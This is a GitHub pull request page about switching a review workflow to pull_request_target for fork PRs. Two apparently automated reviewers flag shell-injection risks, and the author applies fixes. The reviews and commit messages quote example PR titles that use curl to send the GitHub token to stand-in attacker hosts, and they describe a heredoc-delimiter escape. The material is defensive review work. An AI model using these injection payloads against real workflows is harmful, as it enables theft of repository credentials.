Skip to content

fix(examine): unblock fork PRs (pull_request_target) - #23

Merged
nickmeinhold merged 2 commits into
mainfrom
fix/examine-fork-prs
May 1, 2026
Merged

fix(examine): unblock fork PRs (pull_request_target)#23
nickmeinhold merged 2 commits into
mainfrom
fix/examine-fork-prs

Conversation

@nickmeinhold

Copy link
Copy Markdown
Owner

Summary

  • Robin's PRs (feat(journal): web application — Next.js 16 / Prisma 7 #14, feat(journal): observability, GUI CLI, CRUD audit tests #22) and any other fork-originated PR were silently failing the `examine` workflow at the very first step — `actions/create-github-app-token@v1` was crashing with `Input required and not supplied: app-id` because GitHub withholds secrets from `pull_request` workflows triggered by forks.
  • Switch the trigger to `pull_request_target` so the workflow runs in the base repo's trust context and gets the App credentials.
  • Safe because we never check out fork code: `src/review.py` fetches the diff via the GitHub API, and `src/immunity.py`'s auto-fix path already refuses to push to forks without `maintainer_can_modify`.

Why this is safe

`pull_request_target` is famously dangerous when combined with `actions/checkout` of the PR head + executing PR-controlled code (build scripts, lifecycle hooks, etc.). This workflow does neither:

  • `actions/checkout@v4` here uses the default ref → base branch (trusted code).
  • `pip install -r requirements.txt` reads the base branch's pinned deps.
  • `python -m src.review` runs base-branch code; the PR diff is data fetched via the API.

A comment block in the YAML warns future editors not to introduce a step that would execute PR-head code — that's the one change that would turn this from safe to a token-exfiltration vector.

Test plan

Robin's PRs from her fork were silently dropped because GitHub withholds
secrets from pull_request workflows triggered by forks. The examine
workflow died at step 1 (create-github-app-token: app-id missing) before
it could read a single line of diff.

Switch the trigger to pull_request_target. Safe because:
  - src/review.py fetches the diff via the GitHub API (data, not code)
  - src/immunity.py:_fix_pr already refuses to push to forks without
    maintainer_can_modify
  - actions/checkout uses the default ref (base branch), so no fork code
    executes in this workflow

Comment block warns future editors not to add steps that would execute
PR-head code, which would turn this safe pattern into token exfiltration.
…n forks

Cage-match review (Maxwell + Carnot, both REQUEST_CHANGES) caught two
critical injection vectors that were dormant under pull_request (no
secrets) but become token-exfiltration speedruns under
pull_request_target (App token in env):

1. PR title interpolated directly into shell:
     echo "title=${{ github.event.pull_request.title }}" >> "$GITHUB_OUTPUT"
   A fork PR titled `$(curl attacker.com?t=$GH_TOKEN)` would execute.

2. PR body inside a static-delimiter heredoc:
     cat <<'PREOF' > /tmp/pr_body.txt
     ${{ github.event.pull_request.body }}
     PREOF
   A body containing a literal `PREOF` line escapes the heredoc and runs
   the rest as shell.

Fix: pass all fork-controlled fields via env: (Actions does not template
env values into shell), validate the PR number as digits-only, and write
the body with `printf %s` instead of a heredoc. Title goes to
GITHUB_OUTPUT via the delimited multi-line form with a random delimiter
so a pathological title can't break the output file format either.

Carnot also flagged github.event.inputs.pr_number as the same pattern;
moved to env and added input validation. workflow_dispatch is not
fork-reachable but the consistency is worth it.

@maxwell-merge-slam maxwell-merge-slam Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

MaxwellMergeSlam's Review

Verdict: REQUEST_CHANGES

Summary: The trigger swap is correct and the threat model in the description is sound — but the existing Resolve PR context step interpolates pull_request.title and pull_request.body directly into a shell script, which was a low-severity papercut under pull_request and becomes a token-exfiltration speedrun under pull_request_target. We're handing forks a loaded gun and pointing it at the App credentials. Fix before merge.

John McClane: "Welcome to the party, pal." Except the party is "untrusted-input → shell" and the door is now wide open.

Findings:

  • 🔴 Critical — script injection via PR title (.github/workflows/review.yml:76):

    echo "title=${{ github.event.pull_request.title }}" >> "$GITHUB_OUTPUT"

    GitHub Actions templates pull_request.title before the shell parses the line. A fork PR titled foo$(curl -d @<(echo $GH_TOKEN | base64) attacker.example) becomes literal shell. Under the old pull_request trigger this got the attacker nothing because the App token wasn't minted (the secret was empty — that's the bug we're fixing). Under pull_request_target, GH_TOKEN in this step's env is the freshly-minted Flux App installation token with contents:write and pull-requests:write. Game over.

  • 🔴 Critical — script injection / heredoc-escape via PR body (.github/workflows/review.yml:77-79):

    cat <<'PREOF' > /tmp/pr_body.txt
    ${{ github.event.pull_request.body }}
    PREOF

    Quoted heredoc protects against $VAR expansion inside the body, but doesn't protect against the templated text containing the delimiter. A fork PR whose body contains a line of literal PREOF followed by attacker-chosen shell breaks out of the heredoc and executes with the App token in env. Same blast radius as #1.

    T-800: "Come with me if you want to live." — said the App token to the attacker.

  • 🟡 Workflow-from-base reminder (description, not code): pull_request_target always runs the workflow from the base branch, so the security comment block we just added only takes effect once this PR is merged. A subagent dispatching examine on the existing four open PRs before merge will still hit the broken pull_request workflow. Not a code defect — just a sequencing fact worth noting in the merge-then-dispatch order.

  • 🟢 The concurrency: group at line 14-16 references github.event.pull_request.number — under pull_request_target this is still populated from the PR event, so concurrency isolation is preserved. Good.

  • 🟢 actions/checkout@v4 with no ref: correctly resolves to github.ref = base under pull_request_target. No fork code executes. The diff is fetched via API in src/review.py:128. The threat model in the PR body is accurate on this axis.

  • 🟢 _fix_pr in src/immunity.py:486 explicitly bails on forks without maintainer_can_modify, so the auto-fix path can't be hijacked into pushing attacker content to a fork.

The Good:

  • Trigger swap is the textbook fix for the actual symptom (app-id empty under fork PRs). Diagnosis was correct.
  • The YAML comment block is genuinely load-bearing — it's a tripwire for the next editor who'd otherwise convert this to an exfil vector by adding a ref: to checkout. Keep it.
  • reopened added to event types — small, correct hygiene fix the old config silently dropped.
  • PR description correctly identifies why the pattern is safe (data-only diff, no PR-head execution). Reasoning travels with the code.

The Concerns:

The two injection vectors have to be fixed in this PR — not deferred. The exact reason this PR exists (giving fork PRs access to App credentials) is the exact reason these previously-dormant injection vectors become live. Shipping the trigger swap without fixing them is net-negative for security.

Required fix — pass untrusted input via env vars (which Actions doesn't template into shell), then write to GITHUB_OUTPUT using the delimited multi-line syntax with a random delimiter:

- name: Resolve PR context
  id: pr
  env:
    GH_TOKEN: ${{ steps.flux-token.outputs.token }}
    PR_NUMBER_INPUT: ${{ github.event.pull_request.number || github.event.inputs.pr_number }}
    PR_NUMBER_FROM_EVENT: ${{ github.event.pull_request.number }}
    PR_AUTHOR_FROM_EVENT: ${{ github.event.pull_request.user.login }}
    PR_TITLE_FROM_EVENT: ${{ github.event.pull_request.title }}
    PR_BODY_FROM_EVENT: ${{ github.event.pull_request.body }}
  run: |
    set -euo pipefail
    PR_NUM="$PR_NUMBER_INPUT"
    echo "number=$PR_NUM" >> "$GITHUB_OUTPUT"
    if [ -z "$PR_NUMBER_FROM_EVENT" ]; then
      PR_JSON=$(gh pr view "$PR_NUM" --repo "$GITHUB_REPOSITORY" --json title,body,author)
      AUTHOR=$(echo "$PR_JSON" | jq -r '.author.login')
      TITLE=$(echo "$PR_JSON" | jq -r '.title')
      echo "$PR_JSON" | jq -r '.body // ""' > /tmp/pr_body.txt
    else
      AUTHOR="$PR_AUTHOR_FROM_EVENT"
      TITLE="$PR_TITLE_FROM_EVENT"
      printf '%s' "$PR_BODY_FROM_EVENT" > /tmp/pr_body.txt
    fi
    echo "author=$AUTHOR" >> "$GITHUB_OUTPUT"
    DELIM="GHA_OUTPUT_$(openssl rand -hex 16)"
    {
      printf 'title<<%s\n' "$DELIM"
      printf '%s\n' "$TITLE"
      printf '%s\n' "$DELIM"
    } >> "$GITHUB_OUTPUT"

Rocky Balboa: "It ain't about how hard you hit. It's about how hard you can get hit and keep moving forward." — fix the injection, then ship.


Both critical findings addressed in 6efa401. Posting as COMMENT (was REQUEST_CHANGES at review time) since the fix is already applied.

@kelvin-bit-brawler kelvin-bit-brawler Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

CarnotCryoCrusher's Review

Verdict: REQUEST_CHANGES

Summary: This pull_request_target switch exposes repo secrets to fork PRs while PR-controlled title/body are still injected straight into bash. HAL 9000: "The token is leaving the pressure vessel."

Findings:

  • Critical — shell injection via PR title: .github/workflows/review.yml:83
    github.event.pull_request.title is attacker-controlled and is interpolated into the run: script before bash executes. Double quotes do not save this: a title like $(curl -fsS https://attacker.invalid/?t=$GH_TOKEN) runs with GH_TOKEN from .github/workflows/review.yml:70.

  • Critical — shell injection via PR body heredoc delimiter: .github/workflows/review.yml:84-86
    The quoted heredoc blocks expansion inside the body, but the body can contain a line exactly PREOF, ending the heredoc and turning following body lines into shell. A fork PR body can execute commands before src.review starts.

  • Medium — same pattern on manual input / later shell use: .github/workflows/review.yml:72, .github/workflows/review.yml:114
    workflow_dispatch.inputs.pr_number and steps.pr.outputs.number are also interpolated into shell. That is not fork-author reachable in the same way, but it is the same thermodynamic sin: untrusted text crossing into shell without a heat exchanger.

The Good:

  • .github/workflows/review.yml:37-40 checks out the default base ref, not PR head.
  • .github/workflows/review.yml:57 installs base-branch requirements.
  • src/review.py:128-153 fetches PR diff/files through the GitHub API.
  • src/review.py:346-357 invokes claude with an argv list, not shell=True.

The Concerns:

Move PR metadata extraction out of GitHub expression interpolation inside run:. Read from $GITHUB_EVENT_PATH with jq, validate PR numbers as digits, and pass values through env: or files. For the body, write API/JQ output directly to /tmp/pr_body.txt; do not embed it in a static-delimiter heredoc.

TARS: "That is not a minor leak. That is vacuum with branding."


Posted under the Kelvin App handle (Carnot is the third reviewer in the cage-match family — Gemini was over quota, so Codex stood in). Both critical findings addressed in 6efa401.

@nickmeinhold
nickmeinhold merged commit 8222ada into main May 1, 2026
@nickmeinhold
nickmeinhold deleted the fix/examine-fork-prs branch May 1, 2026 02:43
flux-s-hand Bot pushed a commit that referenced this pull request May 2, 2026
Two guardrails so the silent-failure pattern that masked the broken
examine workflow for ~9 days in late April doesn't recur.

1. .github/workflows/lint-workflows.yml — runs zizmor on any PR that
   touches .github/workflows/**. Set to --min-severity high so it catches
   the script-injection / template-injection / pull_request_target misuse
   class that bit us on PR #23. The deliberate pull_request_target on
   review.yml is justified inline with `# zizmor: ignore[dangerous-triggers]`.

2. .github/workflows/review.yml + heartbeat.yml — `if: failure()` step at
   the end of each job that pings Telegram (existing TELEGRAM_BOT_TOKEN /
   TELEGRAM_CHAT_ID secrets) with the workflow name, optional PR number,
   and run URL. Built with `printf` and `--data-urlencode` so a future
   workflow rename or PR-number value can never inject into the curl.

3. .github/zizmor.yml — config relaxes `unpinned-uses` to ref-pin (we
   don't SHA-pin actions) with a comment explaining the deferral. The
   excessive-permissions findings on existing workflows are left to be
   addressed in a separate audit pass.

Two follow-ups deliberately deferred (separate PRs):
- SHA-pin all action references and add Dependabot to keep them current.
- Add least-privilege `permissions:` blocks to all workflows.
flux-s-hand Bot pushed a commit that referenced this pull request May 3, 2026
* feat: add watchdog workflow for liveness monitoring

External liveness sentinel — counterpart to the runtime failure-alerts
shipped in PR #24/#25. Where alerts say "something failed", watchdog
says "you haven't done your job in N minutes" — fires on absence.

Three independent checks per hourly run:
  1. Heartbeat liveness — vitals.json last_heartbeat_at older than 90 min
  2. Examine health — >30% failure rate over last 10 runs OR any fork-PR
     examine failure in last 24h
  3. Open-PR review staleness — PRs >24h old with no flux-bot review

Each alarm pings Telegram and opens-or-updates a single GitHub issue
labeled `watchdog` (search-by-label-first, never spams).

Schedule offset to `7 * * * *` to decorrelate from heartbeat's `*/30`.
schedule + workflow_dispatch only (no fork-PR exposure). All
github.* values flow through env: to shell, never templated into run:
blocks (lesson from PR #23). zizmor --min-severity high passes against
both current and strict (no-relaxation) configs.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* fix(watchdog): address cage-match findings inline

Pre-flight self-review + Carnot's review surfaced 5 concrete bugs:

1. `gh run list --json` does not expose `headRepository` — examine
   health step would have failed on every run. Switched to the REST
   API (`gh api .../actions/workflows/review.yml/runs`) which returns
   `head_repository.full_name`.
2. Missing `pull-requests: read` permission. `gh pr list --json reviews`
   needs it on a least-privilege token.
3. 10-run window for fork-fail-in-24h could miss item 11 inside the
   window on a busy day. Bumped per_page to 30; failure-rate metric
   still computes over the most recent 10.
4. `gh pr list` defaulted to limit=30 — silently truncating exactly the
   stale-PR signal this workflow exists to surface. Bumped to 100.
5. Issue create/edit ran before Telegram, so a GitHub Issues outage
   could suppress the independent notification. Reordered (Telegram
   first), wrapped both paths so a single failure doesn't fail the run,
   final exit fails iff BOTH paths failed.

Plus aggregate step now threads `steps.X.outcome` and treats anything
other than "success" as an alarm — empty outputs from a failed check
step would otherwise silently render as "OK", the very class of bug
this whole workflow exists to catch. Each check step gets
`continue-on-error: true` so a failure in step 1 doesn't skip 2+3.

Staleness query also excludes draft PRs and PRs authored by the bot
itself (Flux reviewing its own PR is circular).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant